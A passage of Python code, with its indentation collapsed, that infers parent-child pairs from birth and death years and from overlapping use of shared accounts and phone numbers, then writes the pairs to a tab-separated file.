int(self.dob[id2]): elderOne = id1 youngerOne = id2 else: elderOne = id2 youngerOne = id1 if elderOne in self.dateOfDeceased: if int(self.dateOfDeceased[elderOne]) < int(self.dob[youngerOne]): break flagAcc = False flagPhone = False if id1 in self.account and id2 in self.account: acc1 = list(self.account[id1].keys()) acc2 = list(self.account[id2].keys()) interacc = list(set(acc1).intersection(set(acc2))) if len(interacc) == 0: pass else: for acc in interacc: for period_acc_id1 in self.account[id1][acc]: for period_acc_id2 in self.account[id2][acc]: newy1 = period_acc_id1[0] newy2 = period_acc_id1[1] newy3 = period_acc_id2[0] newy4 = period_acc_id2[1] if newy1 == '': newy1 = 0 else: newy1 = int(newy1) if newy2 == '': newy2 = datetime.datetime.now().year else: newy2 = int(newy2) if newy3 == '': newy3 = 0 else: newy3 = int(newy3) if newy4 == '': newy4 = datetime.datetime.now().year else: newy4 = int(newy4) newa = range(newy1, newy2+1) newb = range(newy3, newy4+1) if len(set(newa).intersection(set(newb)))>=1: flagAcc = True break else: continue break else: if int(self.dob[id1])<int(self.dob[id2]): if id1 in self.dateOfDeceased: if int(self.dateOfDeceased[id1])>int(self.dob[id2]): pair = (id1, id2) self.p_c.append(pair) else: pair = (id1, id2) self.p_c.append(pair) else: if id2 in self.dateOfDeceased: if int(self.dateOfDeceased[id2])>int(self.dob[id1]): pair = (id2, id1) self.p_c.append(pair) else: pair = (id2, id1) self.p_c.append(pair) if id1 in self.phone and id2 in self.phone: phone1 = list(self.phone[id1].keys()) phone2 = list(self.phone[id2].keys()) interpho = list(set(phone1).intersection(set(phone2))) if len(interpho) == 0: pass else: for ph in interpho: for period_phone_id1 in self.phone[id1][ph]: for period_phone_id2 in self.phone[id2][ph]: newy1 = period_phone_id1[0] newy2 = period_phone_id1[1] newy3 = period_phone_id2[0] newy4 = period_phone_id2[1] if newy1 == '': newy1 = 0 else: newy1 = int(newy1) if newy2 == '': newy2 = datetime.datetime.now().year else: newy2 = int(newy2) if newy3 == '': newy3 = 0 else: newy3 = int(newy3) if newy4 == '': newy4 = datetime.datetime.now().year else: newy4 = int(newy4) newa = range(newy1, newy2+1) newb = range(newy3, newy4+1) if len(set(newa).intersection(set(newb)))>=1: flagPhone = True break else: continue break else: if int(self.dob[id1])<int(self.dob[id2]): if id1 in self.dateOfDeceased: if int(self.dateOfDeceased[id1])>int(self.dob[id2]): pair = (id1, id2) self.p_c.append(pair) else: pair = (id1, id2) self.p_c.append(pair) else: if id2 in self.dateOfDeceased: if int(self.dateOfDeceased[id2])>int(self.dob[id1]): pair = (id2, id1) self.p_c.append(pair) else: pair = (id2, id1) self.p_c.append(pair) if flagAcc or flagPhone: if int(self.dob[id1])<int(self.dob[id2]): if id1 in self.dateOfDeceased: if int(self.dateOfDeceased[id1])>int(self.dob[id2]): pair = (id1, id2) self.p_c.append(pair) else: pair = (id1, id2) self.p_c.append(pair) else: if id2 in self.dateOfDeceased: if int(self.dateOfDeceased[id2])>int(self.dob[id1]): pair = (id2, id1) self.p_c.append(pair) else: pair = (id2, id1) self.p_c.append(pair) if 0<=abs(int(self.dob[id1])-int(self.dob[id2])) and abs(int(self.dob[id1])-int(self.dob[id2]))<=16: #add to sibling relationship flagAcc = False flagPhone = False if id1 in self.account and id2 in self.account: acc1 = list(self.account[id1].keys()) acc2 = list(self.account[id2].keys()) interacc = list(set(acc1).intersection(set(acc2))) if len(interacc) == 0: pass else: for acc in interacc: for period_acc_id1 in self.account[id1][acc]: for period_acc_id2 in self.account[id2][acc]: newy1 = period_acc_id1[0] newy2 = period_acc_id1[1] newy3 = period_acc_id2[0] newy4 = period_acc_id2[1] if newy1 == '': newy1 = 0 else: newy1 = int(newy1) if newy2 == '': newy2 = datetime.datetime.now().year else: newy2 = int(newy2) if newy3 == '': newy3 = 0 else: newy3 = int(newy3) if newy4 == '': newy4 = datetime.datetime.now().year else: newy4 = int(newy4) newa = range(newy1, newy2+1) newb = range(newy3, newy4+1) if len(set(newa).intersection(set(newb)))>=1: flagAcc = True break else: continue break else: if int(self.dob[id1])<int(self.dob[id2]): if id1 in self.dateOfDeceased: if int(self.dateOfDeceased[id1])>int(self.dob[id2]): pair = (id1, id2) #self.p_c.append(pair) else: pair = (id1, id2) #self.p_c.append(pair) else: if id2 in self.dateOfDeceased: if int(self.dateOfDeceased[id2])>int(self.dob[id1]): pair = (id2, id1) #self.p_c.append(pair) else: pair = (id2, id1) #self.p_c.append(pair) if id1 in self.phone and id2 in self.phone: phone1 = list(self.phone[id1].keys()) phone2 = list(self.phone[id2].keys()) interpho = list(set(phone1).intersection(set(phone2))) if len(interpho) == 0: pass else: for ph in interpho: for period_phone_id1 in self.phone[id1][ph]: for period_phone_id2 in self.phone[id2][ph]: newy1 = period_phone_id1[0] newy2 = period_phone_id1[1] newy3 = period_phone_id2[0] newy4 = period_phone_id2[1] if newy1 == '': newy1 = 0 else: newy1 = int(newy1) if newy2 == '': newy2 = datetime.datetime.now().year else: newy2 = int(newy2) if newy3 == '': newy3 = 0 else: newy3 = int(newy3) if newy4 == '': newy4 = datetime.datetime.now().year else: newy4 = int(newy4) newa = range(newy1, newy2+1) newb = range(newy3, newy4+1) if len(set(newa).intersection(set(newb)))>=1: flagPhone = True break else: continue break else: if int(self.dob[id1])<int(self.dob[id2]): if id1 in self.dateOfDeceased: if int(self.dateOfDeceased[id1])>int(self.dob[id2]): pair = (id1, id2) #self.p_c.append(pair) else: pair = (id1, id2) #self.p_c.append(pair) else: if id2 in self.dateOfDeceased: if int(self.dateOfDeceased[id2])>int(self.dob[id1]): pair = (id2, id1) #self.p_c.append(pair) else: pair = (id2, id1) #self.p_c.append(pair) if flagAcc or flagPhone: if int(self.dob[id1])<int(self.dob[id2]): if id1 in self.dateOfDeceased: if int(self.dateOfDeceased[id1])>int(self.dob[id2]): pair = (id1, id2) #self.p_c.append(pair) else: pair = (id1, id2) #self.p_c.append(pair) else: if id2 in self.dateOfDeceased: if int(self.dateOfDeceased[id2])>int(self.dob[id1]): pair = (id2, id1) #self.p_c.append(pair) else: pair = (id2, id1) #self.p_c.append(pair) else: if 18<=abs(int(self.dob[id1])-int(self.dob[id2])) and abs(int(self.dob[id1])-int(self.dob[id2]))<=45 and min(int(self.age[id1]), int(self.age[id2]))<3: ''' here the condition was hard coded to 2014 since the most recent birth year recorded in the file was 2014 set the min age of one pair of individuals blow 3 years old ''' if int(self.dob[id1]) < int(self.dob[id2]): elderOne = id1 youngerOne = id2 else: elderOne = id2 youngerOne = id1 if elderOne in self.dateOfDeceased: if int(self.dateOfDeceased[elderOne]) < int(self.dob[youngerOne]): break flagAcc = False flagPhone = False if id1 in self.account and id2 in self.account: acc1 = list(self.account[id1].keys()) acc2 = list(self.account[id2].keys()) interacc = list(set(acc1).intersection(set(acc2))) if len(interacc) == 0: pass else: for acc in interacc: for period_acc_id1 in self.account[id1][acc]: for period_acc_id2 in self.account[id2][acc]: newy1 = period_acc_id1[0] newy2 = period_acc_id1[1] newy3 = period_acc_id2[0] newy4 = period_acc_id2[1] if newy1 == '': newy1 = 0 else: newy1 = int(newy1) if newy2 == '': newy2 = datetime.datetime.now().year else: newy2 = int(newy2) if newy3 == '': newy3 = 0 else: newy3 = int(newy3) if newy4 == '': newy4 = datetime.datetime.now().year else: newy4 = int(newy4) newa = range(newy1, newy2+1) newb = range(newy3, newy4+1) if len(set(newa).intersection(set(newb)))>=1: flagAcc = True break else: continue break else: if int(self.dob[id1])<int(self.dob[id2]): if id1 in self.dateOfDeceased: if int(self.dateOfDeceased[id1])>int(self.dob[id2]): pair = (id1, id2) self.p_c.append(pair) else: pair = (id1, id2) self.p_c.append(pair) else: if id2 in self.dateOfDeceased: if int(self.dateOfDeceased[id2])>int(self.dob[id1]): pair = (id2, id1) self.p_c.append(pair) else: pair = (id2, id1) self.p_c.append(pair) if id1 in self.phone and id2 in self.phone: phone1 = list(self.phone[id1].keys()) phone2 = list(self.phone[id2].keys()) interpho = list(set(phone1).intersection(set(phone2))) if len(interpho) == 0: pass else: for ph in interpho: for period_phone_id1 in self.phone[id1][ph]: for period_phone_id2 in self.phone[id2][ph]: newy1 = period_phone_id1[0] newy2 = period_phone_id1[1] newy3 = period_phone_id2[0] newy4 = period_phone_id2[1] if newy1 == '': newy1 = 0 else: newy1 = int(newy1) if newy2 == '': newy2 = datetime.datetime.now().year else: newy2 = int(newy2) if newy3 == '': newy3 = 0 else: newy3 = int(newy3) if newy4 == '': newy4 = datetime.datetime.now().year else: newy4 = int(newy4) newa = range(newy1, newy2+1) newb = range(newy3, newy4+1) if len(set(newa).intersection(set(newb)))>=1: flagPhone = True break else: continue break else: if int(self.dob[id1])<int(self.dob[id2]): if id1 in self.dateOfDeceased: if int(self.dateOfDeceased[id1])>int(self.dob[id2]): pair = (id1, id2) self.p_c.append(pair) else: pair = (id1, id2) self.p_c.append(pair) else: if id2 in self.dateOfDeceased: if int(self.dateOfDeceased[id2])>int(self.dob[id1]): pair = (id2, id1) self.p_c.append(pair) else: pair = (id2, id1) self.p_c.append(pair) if flagAcc or flagPhone: if int(self.dob[id1])<int(self.dob[id2]): if id1 in self.dateOfDeceased: if int(self.dateOfDeceased[id1])>int(self.dob[id2]): pair = (id1, id2) self.p_c.append(pair) else: pair = (id1, id2) self.p_c.append(pair) else: if id2 in self.dateOfDeceased: if int(self.dateOfDeceased[id2])>int(self.dob[id1]): pair = (id2, id1) self.p_c.append(pair) else: pair = (id2, id1) self.p_c.append(pair) else: # check if the child younger than three years old pass else: continue break def writeToFile(self, outputFile): fileOut = open(outputFile, 'w') for i in self.p_c: fileOut.write(i[0]) fileOut.write('\t') fileOut.write(i[1]) fileOut.write('\n') fileOut.flush() fileOut.close()

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